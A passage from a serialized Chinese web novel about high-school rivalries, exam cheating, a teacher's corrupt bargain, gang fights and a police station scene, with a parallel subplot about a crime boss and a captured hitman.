教务处老师走后,赖军对新学生说:“做个自我介绍,然后一起考试,其他事下课再说。”“我叫华龙,泸市本地人。”男生说完,径直走向张霆琛旁边的座位。张霆琛没看他,自顾自做起了卷子,他本就认真,既然是考试,就得专心答题,其他都不重要。
华龙坐下后瞥了张霆琛一眼,又扫了眼卷子,竟直接把卷子一扣,趴在桌上睡了起来。赖军没注意到这一幕,毕竟班里学生向来自觉,他从没监考的习惯。
华龙趴下前,突然对张霆琛说:“写完了借我看看。”说完不等回应,直接呼呼大睡起来。张霆琛愣了一下,没搭理他。时间一点点过去,离下课还有二十分钟时,他拍了拍华龙:“哥们,卷子。”
华龙不耐烦地抬头,眯着眼瞪他。张霆琛无所谓地笑了笑:“你不是要抄卷子吗?给你。”华龙“哦”了一声,接过卷子看了眼,又还给了张霆琛,同时把自己的空白卷子推了过去,理所当然地说:“给我写了。”说完不等张霆琛同意,又趴下睡了。
张霆琛觉得好笑,却犯不着跟这种人生气。反正自己也写完了,闲着也是闲着,便拿起华龙的卷子写了起来。高中数学题也不算难,无非选择填空加大题,没一会儿就写完了。
下课铃响,老师准时收卷,不少人交卷时还在埋头计算,也就张霆琛这种学霸级人物能写这么快。华龙这时才伸着懒腰站起来,看着张霆琛说:“小子不错,以后跟着我混吧。谁敢欺负你,报我华龙的名字。”说完转身就往外走。
邓志辉凑过来,用眼神示意着华龙的背影,撇着嘴说:“这哪来的二傻子?这么狂?”“谁知道呢,估计是个富二代吧。”张霆琛耸耸肩,“你看他那耳钉,老师都不管……哎。”
“对了,刚才咋没给
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我传答案?我还以为你把我忘了。”邓志辉抱怨道。“给那小子写卷子呢。”张霆琛随口说。“什么?你给谁写?”邓志辉一脸惊讶。“就新转来的那个。”张霆琛不以为然,“不就是写个卷子吗,多大点事。”
邓志辉不乐意了:“凭啥给他写不给我写?这新来的待遇够好啊,你真打算跟他混?”张霆琛笑着打了他一拳,邓志辉顺势后退,冲李辰浩喊:“发哥你看,他帮外人不帮咱们,还**!”
李辰浩笑着走过来:“刚才要不是我写得快,差点交不了卷。你打算怎么弥补我们受伤的心灵?”张霆琛赶紧讨饶:“好好好,给你们分包子还不行?”“包子不是吃完了吗?”邓志辉一脸疑惑。
“梁颖给的,在我包里呢。”张霆琛一边说一边掏书包,却摸出了早上谢诗韵给的空盒子,顿时愣住,“这咋在这儿?我不是还给她了吗?”
“哦,我拿的。”邓志辉说,“谢诗韵让你帮她刷了盒子。”“还得刷盒子?这不是没事找事吗!”张霆琛无奈地翻了个白眼。正说着,梁颖走了过来,好奇地问:“霆琛,怎么不吃包子?不好吃吗?”
张霆琛看见她,赶紧把谢诗韵的盒子往书包里塞,可越遮掩越显眼。梁颖走过来,故意说:“你看你后边是什么?”张霆琛下意识回头,他自认聪明,竟栽在了这种幼儿园级别的小伎俩上。等他回头,梁颖已经从他书包里拿出了那个盒子,打开一看,里面还塞着张纸条:“小霆琛,吃了姐姐的包子,记得刷盒子哦,乖~”
梁颖的脸瞬间涨得通红,张霆琛想解释,她却根本不给机会,抓起自己给的包子袋子就说:“不想吃就直说,没必要这样敷衍,有意思吗!”说完转身就走。
张霆琛急了,赶紧追上去道歉。刚巧华龙从外面回来,就看见张霆琛像个认错的小孩,拉着趴在桌上的梁颖轻轻摇晃。梁颖抬起头,红着眼圈,眼泪在眼眶里打转,死死瞪着他。
张霆琛从没见过她哭,顿时慌了手脚,他能面不改色面对几十人围堵,却最怕女生掉眼泪。“你走,我不想看见你。”梁颖哽咽着说。
张霆琛一个劲说“对不起”,梁颖却始终不理他。这时华龙走过来,拍了拍张霆琛的肩膀:“怎么回事?就你这还想追女生?看哥给你示范,追人就得直接!”
说完,他转向梁颖,大大咧咧地问:“你叫什么?是不是他欺负你了?要是,我帮你报仇。”梁颖根本没理他。华龙觉得有点没面子,又说:“我叫华龙。”顿了顿,突然冒出一句,“我做你男朋友怎么样?”
这话一出,全班瞬间安静,所有人都惊呆了。华龙还以为自己的直白震慑了众人,得意地扬了扬下巴。可梁颖接下来的举动更让人瞠目结舌,她竟然点了点头。
华龙明显愣了一下,显然没料到会这么顺利,随即对张霆琛得意一笑:“兄弟对不住了,不是我不仗义,实在是感情来了挡不住,只能先放下友情了!”
他完全没注意到张霆琛眼里几乎要喷火的目光,李辰浩和邓志辉也已经围了过来,脸色不善。华龙却依旧镇定:“哥几个干嘛?是他自己没本事留住人。”又转向张霆琛,“你也别瞪我了,没用。我看你学习不错,不如好好读书,将来考个好大学找份好工作。现在谈女朋友太早,哥这是在帮你!”
张霆琛没理他,直勾勾地盯着梁颖:“你说的是真的?我不喜欢这种没意义的玩笑。”梁颖这才意识到张霆琛真生气了,他冲动的脾气她最清楚,赶紧对华龙说:“对不起,我刚才是开玩笑的!”
“开玩笑?你玩我呢?”华龙脸色一沉,语气带着威胁,“我说了,你得做我女朋友!”张霆琛面无表情地对华龙说:“离我们远点,别没事找事!”说着,李辰浩和邓志辉也往前逼近一步。
华龙看了看他们,又看向张霆琛,嗤笑道:“怎么着?给我写了回卷子,就觉得跟我熟了?敢这么跟我说话?”这华龙还真把自己当盘菜了。
全班同学都像看外星人似的盯着他,谁都想知道,惹了张霆琛,他会有什么下场。无知,有时候真的是种罪过。
第九十七章:冲突
梁颖见张霆琛眼底的怒火几乎要喷薄而出,知道他这脾气一旦发作便再难收场,赶紧上前一步挡在他身前,对着华龙轻声道:“你叫华龙是吧?我们就是吵了几句嘴,没别的事,刚才真对不住,是我玩笑开过头了。”
华龙得意地扫了张霆琛一眼,下巴抬得老高:“小子,今天看在你给老子写了卷子的份上,暂且饶你一回。下次再敢耍花样,咱们没完!”
他话音刚落,李辰浩的拳头已经攥得咯吱响,眼看就要冲上去,却被张霆琛一把拉住。李辰浩满心不解,但对张霆琛的决定向来无条件服从,在他眼里,张霆琛的命令就像战场上的军令,只管执行,从不需要问缘由。
张霆琛没理会华龙,只定定地看着梁颖,语气里带着一丝不易察觉的颤抖:“以后别开这种玩笑,我受不了。今天的事,我会跟你解释清楚。”
华龙见没人接茬,自觉没趣,又鄙夷地瞥了张霆琛一眼,转身悻悻离开。其实张霆琛这么生气,不是因为华龙的挑衅,也不是怪梁颖闹小性子,而是刚才那一幕狠狠戳中了他心底的软肋,他从小性格孤僻,最怕的就是在乎的人随口说离开,那种被抛弃的恐慌感,几乎让他窒息。梁颖默默点了点头,没再闹脾气,这场风波才算暂时平息。
中午时分,张霆琛把梁颖叫到花园,拉着她的手认真解释:“今天真不是故意不吃你做的包子,训练时谢诗韵突然跑过来,非要塞给我一盒包子,我推不掉只能吃了。后来你又送来了,我是真的吃不下了,不是不喜欢。”
梁颖嘟着嘴,气鼓鼓地说:“什么巧合?这分明是谢诗韵故意的!”“哦?怎么说?”张霆琛好奇地追问。“昨天放学她特意问我会做什么吃的,我说会做包子,她就说她也会,还跟我打赌,看你更爱吃谁做的。”梁颖说着,眼眶又红了,眼泪在眼眶里打转,“结果我还真输了……”
“傻瓜,哪有什么输赢。”张霆琛赶紧把她搂进怀里,拿起她带来的包子就咬了一大口,含糊不清地说,“现在吃还来得及,凉了也好吃!”
梁颖被他狼吞虎咽的样子逗得噗嗤一笑,伸手替他擦掉嘴角的碎屑。阳光下这一幕格外甜蜜,却刺痛了躲在树后的谢诗韵,她手里攥着刚摘的花骨朵,花瓣被捏得稀烂,嘴里念念有词,眼底满是羡慕与不甘。
等张霆琛和梁颖腻歪完回宿舍,刚到门口就撞见了华龙。张霆琛皱起眉头,华龙叼着根烟,吊儿郎当地走上前:“小子,你今天是不是故意的?”张霆琛一头雾水:“什么故意的?”
华龙一把揪住他的衣领,火冒三丈地吼道:“少他妈装蒜!你真够阴险的,给我写的卷子跟你自己的一模一样,结果老师找我谈话,说我威胁你替我写卷子!”
张霆琛这才明白过来,反手推开他,整理了一下衣领:“我根本没注意这事,不是故意的。”华龙还想发作,却见周围已经围过来一大帮人。他以为都是来看热闹的,依旧有恃无恐:“谁他妈信你的鬼话!告诉你,换了别人没准真被你阴了,可老子不是一般人,我爸是教委的!跟我作对,你掂量掂量自己有几斤几两!”
原来是个官二代。张霆琛真不想跟这种人计较,不耐烦地摆摆手:“好好好,你是老大,现在可以走了吧?”“走?惹了老子就想这么算了?”华龙得寸进尺,“必须给我个说法!”
张霆琛觉得好笑,这小子被这么多人围着,居然还敢嚣张,要么是真有底气,要么就是傻。他戏谑地问:“你想要什么说法?”
“简单,”华龙想了想,得意地说,“请老子吃饭。另外,我爸要我靠自己拿优秀宿舍,你把你们宿舍换给我,这就算我靠自己赢的。”
这话一出,周围顿时一片哄笑,见过不要脸的,没见过这么不要脸的。张霆琛没打断他,想看看他还能说出什么离谱的话。结果华龙接下来的话,彻底踩了他的底线:“还有,赶紧跟你那个女朋友梁颖分手,今天要不是你捣乱,她早就是我女朋友了!”说着,还伸手拍了拍张霆琛的肩膀。
张霆琛眼神瞬间冷了下来,毫无征兆地抓住他的手腕,一脚就把人踹了出去,冷冷地对周围兄弟说:“教训教训他,扔出去。”众人早就摩拳擦掌,见状立刻围了上去。大强买饭回来,见一群人围着揍一个,不解地问张霆琛:“这是咋了?谁啊?”
张霆琛耸耸肩:“一个不长眼的,缺个爸爸。”“缺个爸爸?”大强更懵了。“缺个教育他的爸爸,这不我叫兄弟们轮流给他当当爹嘛。”大强笑了出来,张霆琛这人就这样,平时不爱说话,一开口总能噎**。
大约五分钟后,张霆琛坐在床上喊:“行了,别打了。”
众人又踹了两脚才停手。华龙吃力地爬起来,恶狠狠地瞪着张霆琛。张霆琛挑眉:“怎么?还没够?要不要再找几个爸爸陪你玩玩?”
华龙吓得立刻低下头,快走出视线时才敢回头放狠话:“你完蛋了!明天我就让我爸开除你!你死定了!”大强气得就要追上去,被张霆琛拦住了:“犯不上跟这种没家教的蠢货计较。”
当天下午,赖军把张霆琛叫到办公室:“张霆琛,解释一下今天的事。”张霆琛一听就知道是考试的事,故意装傻:“老师,我不知道您说的是哪件事……”
赖军摇摇头:“你啊!我问你,是不是华龙威胁你了?”“老师您怎么知道?”张霆琛故作惊讶。“哎,我吃的盐比你吃的米都多,你们这点小把戏还能瞒住我?”赖军得意地说。“老师您真厉害!”张霆琛顺着他说。
这话显然说到了赖军心坎里,他话锋一转:“张霆琛,你说当老师最重要的是什么?”“育人。”张霆琛想都没想。赖军笑了笑,又问:“那对油盐不进的学生,该怎么办?”“以德服人?”
“唉,你还是太天真。”赖军喝了口茶,直言道,“敞开说吧,老师也是为了生存,而生
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存的条件是成绩!我问你,老师的生存根本是什么?”见赖军快急了,张霆琛不再装傻:“是我们的成绩,老师的工资奖金都跟这个挂钩。”
赖军长舒一口气,又叹了口气:“还是你懂事。知道华龙的来历吗?他爸是教委的。”“听说了,怎么了?”“你知道他为啥转学吗?”赖军压低声音,“之前的学校没管好他,结果他期末考试全挂科,他爸蛮不讲理,非说是老师的责任,最后教过他的九个老师,被罢免了八个。”
“那还有一个呢?”“体育老师。”张霆琛心里暗骂,真够牛的。赖军无奈地说:“他们校长都被调到乡下了。其实老师都想管他,但他嘴里总挂着一句话:‘我爸是教委’,谁还敢管?最后全被撤职了。所以张霆琛,你得帮帮老师啊。”
张霆琛愣住:“我怎么帮?”“我知道你不乐意,但我直说了吧,”赖军咬牙道,“以后你给他抄卷子、替他写作业都行,但千万别写得一模一样!”
张霆琛差点喷血,凭什么啊?但赖军接下来的话让他动了心:“只要你答应,以后我监考第一考场,你和你那些朋友……懂吧?”这不明摆着让他们随便抄嘛。张霆琛还没表态,赖军又加码:“以后要上晚自习了,我给你们开病假单,天天能出去吃饭。”
这待遇也太好了!张霆琛强压着兴奋,故作犹豫:“好吧老师,我试试,要是不行您可别赖我。”赖军顿时喜笑颜开:“只要你想办,就一定行!你都能把那么多人弄进第一考场,多一个华龙算什么。”
张霆琛心里一惊,他怎么知道的?但也没多问,转身出了办公室。回去后,他把这事告诉了兄弟们,只有李辰浩和邓志辉开心得不行,毕竟只有他们几个同班。但华龙这麻烦总得解决,最后邓志辉出主意:“在班里找个学习中等的,给他传答案就行。”
可谁愿意给这种人传答案?张霆琛笑道:“好办,给他也开病假单,这么大诱惑,不信没人乐意。”大家一致选定了班里的赖家成,他人老实,人缘也好。找到赖家成时,他居然一口答应了,但有个条件:帮他摆平九班的李康有。
李康有和赖家成是小学同学,家里有钱,总看不起简朴的赖家成,还经常当众羞辱他。张霆琛把赖家成拉到宿舍问:“咱们学校学费不低,你家应该不差钱吧?”
“我爸妈都是从村里考出来的大学生,现在我爸是大学系主任,我妈也是老师,家里在泸市有房子。”赖家成低声说。邓志辉更懵了:“那你咋这么省?系主任工资不低啊,各种报销也多,挣的钱都能存起来。”
“家里的钱是爸妈的血汗钱,我凭什么挥霍?”赖家成抬头,眼神坚定,“衣服穿破了再买,鞋磨坏了再换,这没什么不好。”
众人都愣住了,没想到这不起眼的男生这么有志气。张霆琛拍拍他的肩膀:“行了,以后不用你给华龙抄卷子了,李康有的事,我们帮你摆平。”
第九十八章:父亲**
赖家成被张霆琛突如其来的话弄懵了,赶紧紧张地问:“是不是我哪里说错话了?”其实恰恰相反,张霆琛打心底里欣赏这个有骨气的男生,他拍了拍赖家成的肩膀:“没有,你说的很好。这事我无条件帮你,放心,我们会帮你收拾李康有。”
赖家成没想到他这么干脆,稍稍松了口气,认真地说:“不,咱们互相帮衬吧。我知道你们也有难处,就当交个朋友。”“没问题!”张霆琛越发喜欢这个干脆利落的男生,这种有骨气又懂分寸的人,确实值得深交。
收拾李康有的事,张霆琛没耽搁。没过多久,他就带着王涛、李辰浩、彭志龙、邓志辉五人直奔宿舍。到了门口,张霆琛没说话,王涛主动上前敲门。
开门的是个小个子眼镜男,一脸疑惑:“你们找谁?”“谁是李康有?”宿舍里一个正玩电脑的胖子头也不抬地应道:“我是,有事?”
张霆琛打量过去,这李康有没什么特别,就是一脸横肉配着小眯眼,透着股嚣张劲。他慢悠悠走进宿舍:“我是赖家成的朋友,找你聊聊。”
李康有见一下子进来五个人,顿时警惕起来,宿舍里其他人也纷纷停下手里的事,紧张地看着他们。“你们想干什么?”李康有捏紧了鼠标。
“没事,就想问问你,为什么老欺负我朋友。”张霆琛找了个椅子坐下,随手从桌上拿起一根烟,慢悠悠点上。“你朋友?赖家成?”李康有一脸不屑,“他也配叫朋友?”
张霆琛吐了个烟圈,不紧不慢地说:“就是他。这么好的孩子,你为啥老针对他?”“我乐意!”李康有梗着脖子,“这小子从小学习就比我好,爸妈老师天天拿他跟我比,我欺负他怎么了?理所应当!”
“理所应当?”张霆琛挑眉,“凭什么人家就得被你欺负?”
见张霆琛他们没立刻动手,李康有反倒胆大起来,他翘着二郎腿坐下:“哼,我知道你们不是他真朋友。说吧,他给了你们多少钱?我翻倍,你们去帮我教训他一顿。”
张霆琛一声冷笑:“哥几个动手从不为钱。我就问你,以后能不能别再欺负赖家成?”这时旁边一个黄毛突然站起来叫嚣:“你们算哪根葱?也配跟我们康哥说话?没事赶紧滚!”张霆琛他们五人进宿舍时没露气势,对方压根没把他们放眼里。
黄毛话音刚落,王涛一脚就踹了过去:“**再骂一句试试!”黄毛被踹得撞在床板上,疼得龇牙咧嘴。宿舍其他人见状立刻绷紧了神经,上铺的人噌地翻了下来。
张霆琛把烟头狠狠摁在地上,冷冷道:“看来是谈不通了?”“谈你妹!”李康有破口大骂,率先挥拳冲了上来。其他人见状也纷纷动手。张霆琛站在原地没动,只对身后说了句:“三分钟,超一秒晚上加一百个俯卧撑!”
“靠!不是吧!”王涛一边吐槽一边冲上去。有个瘦猴直奔张霆琛而来,他往后一退,抬手指了指对方。瘦猴还没反应过来,就被王涛一把揪住脖领拽了回去:“先过我们这关再说!”这话看似警告,实则是给王涛和彭志龙提气,李辰浩和邓志辉压根没怎么动手,愣是让他俩单挑八个。
结果三分钟都过了,王涛和彭志龙还跟三个人在地上滚作一团,活像小孩掐架。李辰浩无奈摇头:“教你们的全忘了?”他刚想上前帮忙,就听王涛大喊:“都别动!我来!”
就看王涛一个翻身把压着他的人掀到身下,一拳砸在对方脸上,又一脚踹开骑在彭志龙身上的人。彭志龙趁机挣脱,一记重拳打在对方脸上。两人站起来时,王涛还乐呵呵地问:“怎么样?过三分钟没?”
邓志辉叹口气:“晚上二百个俯卧撑,没跑了。”“靠!打这几个废物居然超时了?”王涛一脸憋屈。“还有脸说?回去等着受罚!”李辰浩一个脑瓜崩敲在他头上。王涛捂着脑袋嘟囔:“知道了”彭志龙倒挺满意,他俩居然真能打八个,虽说赢得狼狈,但也算赢了。
张霆琛走到瘫在地上的李康有面前:“记住了吗?”李康有在地上哀嚎,压根没理他。张霆琛不耐烦地加重语气:“我不想说第二遍!记住了?”听着这要**的语气,李康有瞬间不敢哼唧了,连连求饶:“知道了知道了,别打了!”
张霆琛嗤笑一声转身就走,到了门口又回头:“我叫张霆琛,不服随时来找我。”人的名树的影,李康有一听这名字顿时软了,能连赢高二高三两届的狠人,他哪敢再叫板,刚才还想着报复的心思瞬间烟消云散。
出了宿舍门,张霆琛扶着墙猛地咳嗽起来。其他人一脸鄙视地看着他,这家伙明明不会抽烟,偏要装酷,能硬撑这么久才咳嗽已经算厉害了。
与此同时,容市的深夜里,慕容廷正在熟睡,突然有人破窗而入,举枪就朝被子下的人扣动**。一梭子**打完,**毫不犹豫地转身就走。就在这时,屋里所有灯亮了起来。
“不错不错。”慕容廷从屋外走进来,一边拍手一边笑道,身后跟着陈海和一群黑衣大汉。**显然愣了一下,但老**的心理素质极强,三秒后立刻转身想跑,却被“砰”的一声枪响惊得惨叫,陈海开枪打中了他的腿。
“拿下!”陈海收起枪,示意手下上前。**不甘心地从腰后抽出**,直飞慕容廷,对**来说,没完成任务就得死,不如拉个垫背的。
“大哥小心!”陈海大喊。慕容廷却只是淡淡一笑,侧身躲过致命一击。陈海在一旁捏了把冷汗,看着手下把**五花大绑拖进地下室。“这**不简单。”慕容廷看着地上的血迹说。
“是啊,能闯进内围防线,够厉害的。”陈海心有余悸,“要不是您今晚刚好耽搁了会儿,恐怕……”“恐怕我就交代在这儿了,哈哈。”慕容廷笑得坦荡,“我大仇未报,老天可舍不得收我。这**我亲自审。”
地下室里,**被绑在椅子上,恶狠狠地瞪
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着慕容廷。慕容廷冷哼一声:“说吧,谁派你来的?说了能少吃点苦头。”**冷笑:“别废话,你觉得我会说?别把我当不入流的货色。”
“哦?那你觉得自己是什么级别?”“有本事再给我一次机会,我一定让你死无葬身之地!”**眼神凶狠。这时旁边的大汉拿起火钳,烫在他胸口。**却只是闷哼一声,连眉头都没皱。慕容廷和陈海都愣了,这硬骨头,果然不一般。
“你到底是谁?背后是谁训练你的?”慕容廷皱起眉头。
**神智有些模糊,却依旧嘴硬:“要杀要剐悉听尊便!”慕容廷盯着他:“你说再给你机会,就能杀我?”“没错!”
“多久?”“三天!”令人意外的是,慕容廷对属下说:“放了他,给三天时间。”说完头也不回地离开。陈海赶紧跟上:“大哥,为啥放他?这不是放虎归山吗?”
“不放他,你觉得能问出幕后主使?”慕容廷反问。陈海沉默了,这种级别的**,确实宁死不降。“这种人得彻底挫败他,不然不会认输。”慕容廷解释,“能训练出这么厉害的**,我倒想知道背后是谁。”
“难道是五爷?”陈海脱口而出。慕容廷摇头:“不像,没找到替代我的人之前,他不会轻易动我。”
“那会是刘文殊以前暗中培养的?”“他还没这本事。”慕容廷脚步一顿,“去叫罗刹来。”没多久,一个一身黑衣的女子出现在屋里。慕容廷把事情原委说完,对她说:“现在由你盯着他,人多了怕他退缩。”
罗刹皱眉想开口,却被慕容廷打断:“我知道你早退出江湖了,但现在实在找不到比你更合适的人。为了稳住吉市,精锐都派出去了,只有你能帮我。”
罗刹沉默片刻,终究还是点头答应。十三年前的过失让她始终愧疚,当年正是因为她的失误,慕容廷才失去了最爱的人。从那以后,她就失去了作为**的信心,而没了信心的**,随时可能丧命。
接下来两天风平浪静。直到慕容廷收到一张慈善晚会的帖子,他扔给陈海:“来得正好。”“罗刹那边怎么样了?”慕容廷问。“一切就绪,就等他露面。”慕容廷笑着起身:“走,去晚会。”“大哥!”陈海担心。“放心,相信罗刹。”慕容廷大步流星地走出别墅。
晚会上,慕容廷化身慈善家,豪掷一千万拍下一幅根本不值钱的画。晚会结束后,三辆车浩浩荡荡往**别墅开去。突然一声巨响,慕容廷的车被炸毁翻倒。胡同里的**冷笑转身,却被一把枪顶住了脑袋。
“你是谁?”**皱眉。“罗刹。”“什么!”**满脸震惊,当年的第一**,竟然还在江湖?他又惊又激动,刚想动手,就被罗刹一枪打中。枪里装的是**,他挣扎了几下便倒在地上。
罗刹冷笑一声转身就走,对赶来的黑衣大汉说:“带回给廷哥,我不回去了。”“是!”大汉齐声应道。
第九十九章:警察局
这名**慢慢睁开双眼,朦朦胧胧中看见了几个人的身影。突然,他猛地睁大眼睛,浑身瞬间绷紧,警惕地扫视着四周。陈海倚在墙边,嘴角挂着嘲讽的笑:“就你这模样还敢称一流**?足足睡了五个小时,够舒坦的啊!”旁边的慕容廷也跟着笑起来,拍了拍手上的灰尘:“怎么样?这下该服气了吧?”
**满眼震惊地盯着慕容廷和陈海,脑子里乱成一团浆糊。他明明亲手炸毁了慕容廷的车,怎么可能,慕容廷看穿了他的疑惑,慢条斯理地解释:“别一脸不可思议,你的一举一动早就被我监控着。那辆车里坐的根本不是我,是本地一个总跟我作对的房地产商。没办法,只好借你的手帮我除了他,说起来还得谢你呢!”
“不可能!那车里怎么可能不是你!绝对不可能!”**激动地嘶吼着,满脸难以置信。
慕容廷戏谑地看着他歇斯底里的模样,眼神里满是不屑:“孩子,你还差得远呢。现在该告诉我你是谁了吧?”
**像是没听见他的话,仍在疯狂地喊着“不可能”。慕容廷皱起眉头,语气冷了几分:“看来你是输不起?”**满眼血丝地瞪着慕容廷,连喊三声“好好好”,随后咬着牙说:“我输了。我可以回答你两个问题,但前提是你必须放了我!”
“凭什么?”陈海在一旁反问。“就凭这两个问题的含金量!”**硬气地说。“好。你叫什么?”慕容廷点头答应。**愣了一下,显然没料到他会问这种无关紧要的问题,忍不住提醒:“这可是第一个问题了!”
慕容廷一脸自然:“我知道。告诉我你叫什么。”“韩旭!”
“多大?”**又是一愣,搞不懂慕容廷到底想干什么,但还是老实回答:“24。”慕容廷耸耸肩:“不错,很年轻。你走吧。”
“什么?”韩旭以为自己听错了,满脸错愕。慕容廷重复道:“你走吧。还想杀我就继续。”韩旭傻傻地看着慕容廷,完全猜不透他的心思。陈海在一旁不耐烦地催促:“还不赶紧走?等着留饭吗?”
韩旭吃力地站起身,眼神狠戾:“你今天放我走,迟早会后悔的!”慕容廷满脸不屑,转身往外走,临走前丢下一句:“你最好想明白,下次要是杀不了我,就得乖乖做我的手下,否则就给我滚得远远的!”
韩旭痛快应道:“好!三天之内我要是杀不了你,自然跟着你。但你要是不小心成了我的枪下魂,可别怨我!”
慕容廷头也不回地走出地下室,跟在他身后的大汉们对着韩旭咧嘴笑:“以后就是兄弟了。”韩旭皱着眉头,不明白这些人为什么如此自信。
三日后,道上传来一个震惊的消息:慕容廷遭人枪击,身负重伤,而**却不知所踪。这期间究竟发生了什么,谁也说不清楚。
容市的尔虞我诈丝毫影响不到张霆琛的生活。又到了周末,张霆琛和一帮朋友照常出去吃喝玩乐。自从上次的包子事件后,张霆琛和谢诗韵之间倒也没再闹不愉快,依旧像往常一样说说笑笑。
一群人走出餐馆门口时,发现外面聚着一大帮人。起初他们没太在意,直到邓志辉一把拉住张霆琛,小声说:“你看!”张霆琛抬头看向人群,一眼就看见了华龙。他嘿嘿一笑:“看来今天要不太平了。”
梁颖也看出了不对劲,迟疑片刻后,径直朝着华龙走去。张霆琛想拉住他,却被梁颖甩开。可没走几步,华龙就带着人嚣张地朝张霆琛走了过来。张霆琛眼神一眯,直接与华龙的目光对上。梁颖快步拦住华龙:“那天是个误会,这事能不能就这么算了?”
“算了?你真搞笑!”华龙一把推开梁颖,指着自己脸上的伤怒吼,“你看看我这伤!滚开!”
就在这一瞬间,李辰浩一脚踹向华龙。华龙被身后的人扶住,否则这一脚足以让他翻几个跟头。华龙捂着肚子,险些站不稳。张霆琛带着众人慢悠悠地上前一步,浑身散发着慑人的气势。
这时,华龙身后走出一个外校的男生。这人身高一米八左右,满脸嚣张,那神情仿佛在脸上写着嚣张二字。他指着张霆琛,语气不善:“咱们好像不是第一次见面了吧?今天正好报上次的仇!”
张霆琛听得一头雾水,旁边的李辰浩突然想起什么,凑到他耳边小声说:“记得上次咱们买衣服时揍的那几个人吗?这就是其中一个!”
张霆琛恍然大悟,没想到这么巧,真是冤家路窄。他不屑地问:“那你们想怎么解决?”那人先自报家门:“我叫王笃,二中的扛把子!”
张霆琛一脸惊讶,王笃还以为自己的名号吓到了他,满脸得意。结果张霆琛憋出一句:“王八犊子?你妈还真会起名……”这句话瞬间引爆全场,所有人都笑得前仰后合,就连王笃带来的人都忍不住笑出了声。
王笃显然没受过这种侮辱,怒火直冲头顶,毫不犹豫地一拳打向张霆琛。张霆琛嘴角微挑,轻松躲过这一拳,反手就朝着他的肚子怼了一拳。其他人见老大动手,纷纷往前冲。张霆琛身后的人也不含糊,两边瞬间混战在一起。
梁颖已经**志辉他们拉到了身后。经过几次大战的洗礼,张霆琛身边的人虽说不上身经百战,但群架经验可比这些人丰富多了,再加上每天早上的训练,没过多久就呈现出一边倒的局势。更重要的是,张霆琛这边的人比王笃他们多了足足三十多个。
眼看就要彻底胜利,警笛声突然由远及近。张霆琛暗道不好:怎么会这么快?在场的人瞬间慌了神。张霆琛大喊:“别慌!都他妈回学校躲着!”大家见老大发令,立刻往学校方向跑。但外校的人没地方躲,被警察拦下了不少。
张霆琛站在门口没动,李辰浩和邓志辉也留了下来,宿舍的兄弟全都稳稳地站在他身边。林凯就更不用说了,他老爸可是局长。警车停下后,警察一眼就瞅见了张霆琛这一小群人,两名警察走上前问:“你们参与打架了吗?”
这种时候,王笃他们肯定不会让张霆琛他们好过,张霆琛干脆承认:“参与了!”警察们明显没见过这种人,打架了不想着跑,还敢大大方方承认。但吃惊归吃惊,他们也不傻,敢这么说的家里多半有点背景。带头的警察笑呵呵地说:“年轻有为啊。好了,跟叔叔回去做个笔录,让家长来接吧。”
这会儿偏有不长眼的人跳出来,一个小警察厉声呵斥:“不知死活!群架还这么理直气壮,你们家长就是这么教你们的?”带头的警察明显皱起眉头,心里暗骂:这年轻人怎么这么不会来事,做事不动脑子。张霆琛他们没理会这个警察,从容地跟着上了警车。张霆琛回头对梁颖说:“你先自己回去吧,今天估计早不了。让陈曦陪你。”又看向陈曦,“回家跟爸妈撒个谎,别说今天的事,免得他们着急。”陈曦懂事地点点头,没再多说。
那个小警察听了张霆琛的话,不屑地接道
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:“早干嘛去了!”张霆琛不耐烦地瞥了他一眼,没多说什么,直接上了警车。
车上的他们不像王笃那帮人戴着**,几个人说说笑笑坐了一路。下车时,邓志辉咂咂嘴:“警车还真稳当!以后让我爸开这个接我!”
“你以为你爸是谁?开警车?作死呢吧!”那个小警察阴阳怪气地说。邓志辉生气地瞪着他:“别以为穿了身警服就了不起,谁不是一个脖子顶着一个脑袋!小心让人搬了家!”
小警察显然没被人这么威胁过,更何况对方还是个高一学生。他刚想上去扇邓志辉一巴掌,却被旁边的老警察拉住了。老警察冲他摇了摇头,然后对邓志辉说:“孩子,说话要积点口德,威胁国家公务人员可不对。好了,大家进去吧。”小警察不明白上司为什么拦着自己,但也没再发作。邓志辉鄙视地看了他一眼,还比了个中指,气得小警察脸都紫了。
一群人进了警察局后,按规矩都得蹲在墙角,但张霆琛他们几个被特殊照顾了,华龙也是如此。其他没背景的人统统蹲在墙角抱头待着,而且这些人明显比张霆琛他们大,被欺负也只能忍着。
张霆琛他们坐在椅子上,有一搭没一搭地聊着。林凯拿出烟刚要抽,就被那个小警察一把抢走了。林凯皱起眉头:“你想干嘛?”
“我想干嘛?警局里不准抽烟!”小警察趾高气扬地说。林凯冷哼一声:“操!我怎么不知道?你看看外面的警察叔叔哪个没抽烟?凭什么抢我的烟?”
小警察不屑地嗤笑:“我乐意!你牛你当警察我当贼啊!哼!”林凯气得胸口起伏,邓志辉走到他面前,盯着小警察说:“呵呵,记得我跟你说过的话吗?小心自己的脑袋,别以为我跟你开玩笑。”
小警察刚要发作,一个国字脸的男人走了进来。他看见林凯,二话不说就给了他一巴掌,又看了眼邓志辉,叹了口气指着林凯骂:“小王八蛋!干什么不好,跑去打架!走,跟我回家!”
再傻的人也能看出这国字脸男人来头不小,可那小警察不知道是脑子进水还是缺根筋,竟拦着他说:“不许走,要登记!”
国字脸男人压着火气说:“我叫林志毅!你要登记就去总局要!”小警察再蠢也听过总局局长的名讳,顿时蔫了。林志毅拉着林凯往外走,没过多久,又有一个男人走进来。这人个子不高,文文弱弱的,像抗战时期的汉奸。他进来后先礼貌地对警察说:“我是华龙的父亲,我叫华小博,是广市教委的。”
警察们一听是教委的,立马换了副态度,又是看座又是递茶倒水,跟孙子似的。华小博却毫不客气,一副理所当然的样子。可没过多久,又有两个人走了进来。为首的人几个孩子都认识,是邓志辉的老爸邓天啸,后面跟着他的保镖。邓天啸看着坐在那里当爷的华小博,不屑地坐在他旁边。华小博瞥了他一眼,对警察说:“警察先生,我觉得今天的事必须严查,这些打了我孩子的学生该给予严厉处罚,我看该进少管所!”
邓天啸觉得好笑,没插嘴,继续听他说。办公桌后的警察面露难色:“我看这事没那么严重吧?一帮孩子打架而已,也没重伤。而且据我们了解,好像是您的孩子先叫人来找事的。”
“什么!我的孩子先叫人?不可能!绝对不可能!”华小博激动地反驳。
这时,旁边的邓天啸终于开口:“为什么就不能是你的孩子先叫的人?”
第一百章:后台
华小博瞪着邓天啸,脖子一梗:“哼!我说是就是!”“那就是不讲理喽?”邓天啸挑眉。“不讲理又怎样!”华小博梗着脖子硬刚。
